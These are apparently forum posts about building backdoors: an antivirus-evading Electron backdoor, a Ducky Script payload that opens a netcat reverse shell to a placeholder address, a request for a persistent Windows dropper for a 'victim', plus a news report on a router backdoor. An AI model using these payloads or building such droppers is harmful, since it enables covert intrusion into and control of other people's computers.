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  1. blackcoat

    Meterpreter

    Fud backdoor with Pwnwinds with bat. format + Powershell is not connecting with metasploit listener.The backdoor was made by TheFatRat connection type :reverse https Attacked virtual box os type:windows 10
  2. So I was wondering how do you program your own payload/backdoor? I usually use veil-evasion but I wanna learn how to program it my self.
  3. Hey guys. After having fun with the LAN Turtle and WiFi Pineapple Nano I took a break and started working on my own project. It's called BrowserBackdoor. It's an Electron application that includes a JavaScript WebSocket backdoor that connects to my Ruby listener. The Electron application runs in the background with no user interface and is basically Chromium so it hasn't been flagged by any Anti Viruses I've tested it against. The Ruby listener can send commands or modules to the Electron application for it to execute and send the results back. Here are the modules I've created so far: enableStartup, screenshot, downloadFile, beep, execCommand, readClipboard, moveToTrash, readDir, openURL, createFile, writeClipboard The up to date list is here: https://github.com/IMcPwn/browser-backdoor/tree/master/server/modules I've also taken some screenshots of what the console looks like: https://github.com/IMcPwn/browser-backdoor/wiki/Screenshots If anyone is interested in suggesting anything I should add or working on the project with me let me know! Github link: https://github.com/IMcPwn/browser-backdoor I'm also trying out Discord for live text/voice chat: https://discord.gg/013wk2VPnnuw9iLmU
  4. This Payload is tested in the latest version of OS X El Capitan. It Simply opens Terminal and starts a reverse NetCat to your computer, when it connects it minimizes the terminal window You might want to mess around with the delay DELAY 1000 GUI SPACE DELAY 200 STRING TERMINAL DELAY 300 STRING nc -l IPADRESS 8888 DELAY 100 GUI M Temperary NC backdoor.txt
  5. Hi everyone, new to this community, and i have kind of a stupid question : i have bought used markV from ebay. the seller said it was unused , but once i opened and tryed to first boot, it claimed that it was already configured and password was set. the seller hasn't answered to me yet and i kind of really want start testing markV, but i can't find any tutorial how to reset password that was set on firstboot. does anyone know how to do that ? is there any tutorial? does markIV process applies on markV? thanks in advance
  6. [Help] I need a backdoor dropper for the ducky, or help on making one. What it needs to do: Work on windows (victim) Work over the internet Be sort-of fast (like, not typing out stuff forever) Persistent (Across reboots) I can use LINUX, BACKTRACK, WINDOWS, or any other linux distro, like KALI. I can also upload an exe to mediafire for wget and execute (I don't need help with that). I just need help making the file and or ducky script. -Thanks in advance.
  7. Arstechnica.com By: Sean Gallagher A Hacker has found a Backdoor to wireless combination router/DSL modems that could allow an attacker to reset the router’s configuration and gain access to the administrative control panel. The attack, confirmed to work on several Linksys and Netgear DSL modems, exploits an open port accessible over the wireless local network. The Backdoor requires that the attacker be on the local network, so this isn’t something that could be used to remotely attack DSL users. However, it could be used to commandeer a wireless access point and allow an attacker to get unfettered access to local network resources. Eloi Vanderbeken described the Backdoor in a PowerPoint posted with the code to Github. In his illustrated report, he explained how over the Christmas holiday he was trying to get access to the administrative console of his family’s Linksys WAG200G wireless DSL gateway wirelessly—mostly so he could limit how much bandwidth the others in the house were using. But Vanderbeken had previously turned off wireless access to the administration web console (and had forgotten his administrative password). Performing a scan, he found that the router responded to messages over an unusual TCP port number: 32764. A search of the web found other Linksys and Netgear router owers had found the same service, but there was no documentation for what it did. So Vanderbecken downloaded a copy of the Linksys firmware and commenced reverse-engineering the binary MIPS code. What he found was a simple interface that allowed him to send commands to the router without being authenticated as the administrator. On his first attempt to brute-force the interface, the router flipped its configuration back to factory settings, causing his family members to all lose Internet access at the same time. After some additional testing, Vanderbecken found that the interface allowed him to execute a number of commands directly against the router, including a command-line shell. Using the commands he discovered, he was able to write a script that allowed him to turn wireless access to administration on and reset the web password, and published the script (with his cartoon report on the Backdoor) to Github. Soon, confirmations that the Backdoor worked with other models of Linksys and Netgear wireless DSL modems came flooding in. A commenter on Hacker News noted that the Backdoor might effect wireless routers with DSL modems from SerComm, which manufactured many of Linksys’ older DSL modems. A list of SerComm devices from various vendors matches up with the router-modems reported as vulnerable thus far. http://nakedsecurity.sophos.com/2014/01/03/gaping-admin-access-holes-found-in-soho-routers-from-linksys-netgear-and-others/
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